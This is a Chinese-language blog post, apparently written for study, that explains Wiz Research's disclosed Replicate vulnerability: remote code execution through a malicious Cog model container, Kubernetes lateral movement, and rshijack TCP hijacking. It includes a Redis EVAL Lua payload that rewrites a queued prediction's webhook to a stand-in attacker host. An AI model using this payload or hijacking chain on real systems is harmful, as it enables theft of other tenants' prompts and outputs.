【技术解读】【CloudSec】The risk in malicious AI models: Wiz Research discovers critical vulnerability in AI-as-a-Service provider, Replicate
- 前言
- RCE
- 横向移动
- 漏洞影响
- 攻击过程的一些技术细节
- 1、RCE过程
- 2、横向移动
- 2.1 RCE后,Wiz是如何判断当前是运行在Google Cloud Platform上的kubernetes集群中的一个Pod内的?
- 2.2 如何判断当前的pod是否是特权pod?
- 2.3 CapEff的含义解读
- 2.4
capsh --print命令执行结果的解读 - 2.5 为什么文中说通过
netstat命令可判断当前容器与另一个容器共享我们的网络命名空间,但不共享 PID 命名空间 - 2.6 Wiz在文中的结论 "我们与另一个容器共享网络命名空间,但不共享 PID 命名空间" ,体现什么安全隐患?
- 2.7 利用rshijack往TCP连接注入redis命令
- 2.8 Redis Streams 是什么?为什么最后Wiz需要往redis里注入lua脚本?
- 启示
- Reference
前言
Wiz研究团队在对领先的AI即服务(AI-as-a-service)提供商进行一系列调查时,发现了可能导致数百万私有AI模型和应用程序泄露的重大漏洞。此次调查揭示了Replicate AI平台的一个严重漏洞。利用该漏洞,攻击者可以获得Replicate平台所有客户的AI提示和结果的未授权访问权限。
RCE
通过创建恶意的Cog容器并上传到Replicate平台,研究团队实现了在Replicate基础设施上的远程代码执行。
Cog是Replicate用来容器化AI模型的格式,帮助用户打包AI模型,包括依赖库和一个RESTful HTTP API服务器。

横向移动
在获得RCE权限后,研究团队发现自己运行在Google Cloud Platform上的Kubernetes集群中的一个pod内。
使用netstat工具发现已有的TCP连接,推测共享网络命名空间但不共享PID命名空间。
由于当前是以 root 权限运行并且能够使用 CAP_NET_RAW 和 CAP_NET_ADMIN,因此我们可以使用 tcpdump 来检查此 TCP 连接的内容。查看流的内容,发现它是纯文本 Redis 协议(一种流行的开源内存数据存储)。通过对 IP 地址执行反向 DNS 查找,其主机名确认它确实是一个 Redis 实例。通过使用tcpdump工具检查TCP连接的内容,发现是明文的Redis协议。
向集中式 Redis 注入 Redis 命令
通过反向DNS查找确认是Redis实例,并发现该实例用于管理客户请求和响应的队列。
使用rshijack工具向邻近容器的Redis服务器现有TCP连接注入任意数据包,绕过认证。
漏洞影响
利用此漏洞会给 Replicate 平台及其用户带来重大风险。攻击者可能会查询客户的私有人工智能模型,从而可能暴露模型训练过程中涉及的专有知识或敏感数据。此外,拦截提示可能会暴露敏感数据,包括个人身份信息 (PII)。
攻击过程的一些技术细节
由于Wiz的文章并没有给出攻击过程中每一步的技术细节,所以对于我这种不熟悉云安全的人来说,只能通过ChatGPT的帮助来解答整个攻击过程中的一些疑问。当然,GPT给的不一定是准确的,只是一种推测,但感觉还可以,对于学习来说,足够了。
1、RCE过程
1.1 Wiz自定义的用于实现RCE的Cog模型是什么样的,有没有具体的代码?
其实可结合参考Cog的github仓库:https://github.com/replicate/cog





2、横向移动
2.1 RCE后,Wiz是如何判断当前是运行在Google Cloud Platform上的kubernetes集群中的一个Pod内的?




PS: 检查Kubernetes API访问权限时,hostname可能不是kubernetes.default.svc.cluster.local,可以通过printenv |grep -i kubernetes 找到对应的主机名或IP,如:

2.2 如何判断当前的pod是否是特权pod?




2.3 CapEff的含义解读




2.4 capsh --print命令执行结果的解读






2.5 为什么文中说通过netstat命令可判断当前容器与另一个容器共享我们的网络命名空间,但不共享 PID 命名空间
以我自己的云服务器为例,执行netstat -pant结果如下:

可以看到很多端口对应的PID/Program name一列均为-。这里为什么我要提这点呢,是因为我向GPT询问这个问题时,它说从PID/Program name这一列为-,就可判断该端口对应的进程的PID命名空间和当前PID命名空间不同。但经过我的实践,发现这个结论在当前用户权限不足的情况下是错的。我的验证过程如下:
(1) 执行 sudo python3 -m http.server --bind 127.0.0.1 82,启动web服务,监听82端口;
(2) 执行 netstat -pant查看,结果如下,82端口、22端口的PID/Program Name一列都是-:
netstat -pant
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:45147 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:82 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5003 0.0.0.0:* LISTEN -
tcp 0 0 157.230.37.31:34184 152.42.204.16:81 ESTABLISHED 2346640/telnet
tcp 0 0 157.230.37.31:22 182.255.32.10:61707 ESTABLISHED -
tcp 0 628 157.230.37.31:22 182.255.32.10:56711 ESTABLISHED -
tcp 0 0 157.230.37.31:22 182.255.32.10:19163 ESTABLISHED -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::5003 :::* LISTEN -
(3) 执行 ps -axu |grep -i "http.server",查看web服务进程ID,结果如下:
root 2350754 0.0 0.1 11900 5556 pts/0 S+ 15:27 0:00 sudo python3 -m http.server --bind 127.0.0.1 82
root 2350755 0.0 0.0 11900 892 pts/3 Ss 15:27 0:00 sudo python3 -m http.server --bind 127.0.0.1 82
root 2350756 0.2 0.4 27832 16908 pts/3 S+ 15:27 0:00 python3 -m http.server --bind 127.0.0.1 82
(4) 查看当前pid命名空间和 web服务的pid命名空间均为4026531836:
ls -l /proc/$$/ns/pid
lrwxrwxrwx 1 m01e m01e 0 Jun 12 12:59 /proc/2341764/ns/pid -> 'pid:[4026531836]'
sudo ls -l /proc/2350754/ns/pid
lrwxrwxrwx 1 root root 0 Jun 12 15:28 /proc/2350754/ns/pid -> 'pid:[4026531836]'
实际上前面看到22端口、82端口的PID/Program name列为-,主要是因为当前用户是普通用户,而22端口、82端口对应的进程都是由root用户创建的,所以普通用户看不到,所以是-。这时,你切换到root用户或者用sudo去执行,就能看到了:

所以,单从netstat输出中的PID/Program name列为-并不能百分百断定,处理该连接的进程就和当前进程是不同PID命名空间的。可能情况让GPT帮我总结了下:

到此,再回过头看Wiz在文中说的,就能理解了。Wiz执行netstat的截图如下:

可以看到它是root用户执行的,所以应该是不存在权限不足的情况,那这里它是当前容器实例(10.20.4.141) 去连接其它容器实例(10.8.5.243)的6379端口,但PID/Program name列为-,那可判断(大概率)处理当前容器实例中处理该连接的进程和其他进程不是同一PID命名空间。
另外,既然两个容器间网络是连通的,自然可判断两个容器是共享网络命名空间的。
2.6 Wiz在文中的结论 "我们与另一个容器共享网络命名空间,但不共享 PID 命名空间" ,体现什么安全隐患?



2.7 利用rshijack往TCP连接注入redis命令
以下是自己实践的截图:


2.8 Redis Streams 是什么?为什么最后Wiz需要往redis里注入lua脚本?





如上图 ,因为Redis Streams这种数据结构,在设计时就没考虑要支持修改。
于是,为了Wiz无法通过rshijack注入redis自带命令直接修改Redis Streams类型的数据。
但是Redis支持执行Lua脚本,因此Wiz为了证明可跨租户数据访问,便通过rshijack往redis的TCP连接中注入Lua脚本,Lua脚本完成如下操作:
(1) 在队列中找到我们要修改的项目;
(2) 将其从队列中弹出;
(3) 将其 webhook 字段修改为我们控制下的恶意 API 服务器的地址(从原文可知,每当有有关预测的更新时,都会通知 Webhook 字段中的地址);
(4) 将修改后的项目推回队列。
写入的redis执行Lua脚本内容如下(让GPT帮从Wiz截图里识别出来的):
EVAL "local s,f,c,r='prediction-input-b11e651c5333a72b02b01ba71ef1e942fd966372d3b4c5a7e5bbf836543f02a-cpu','value',1,'http://aaaaa.com/';local function g(e)for i=1,#e[1][2],2 do if e[1][2][i]==f then return e[1][2][i+1] end end return'' end;local b=redis.call('XINFO','STREAM',s);local l=redis.call('XREVRANGE',s,'+','-','COUNT',c);if #l==0 then return{b,'No entries'}end;local d=l[1][1];local v=g(l);v=string.gsub(v,'http://aaabbb.com.local',r);redis.call('XDEL',s,d);local a=redis.call('XADD',s,'*',f,v);local n=redis.call('XINFO','STREAM',s);return{b,n,a}" 0
Lua脚本解释:






将 Lua 脚本注入 TCP 连接后,Wiz的恶意API服务器收到了一个带有预测输入的 HTTP 请求,以及另一个带有预测输出的 HTTP 请求。Wiz还证明他们的恶意API服务器可以修改输出预测。
启示
1、AI模型本质上是代码,恶意模型可能对AI系统构成重大风险,特别是对于AI即服务提供商而言。
2、在多租户环境中实现严格隔离和安全控制的重要性. 在kubernetes环境下,利用漏洞(比如RCE)获取到其中某个pod的据点后,可以在当前容器里作信息收集,比如系统信息、网络信息,探查横向移动、攻击其他Pod的可能性.
Reference
https://www.wiz.io/blog/wiz-research-discovers-critical-vulnerability-in-replicate
https://github.com/kpcyrd/rshijack
https://redis.io/docs/latest/develop/data-types/streams/
浙公网安备 33010602011771号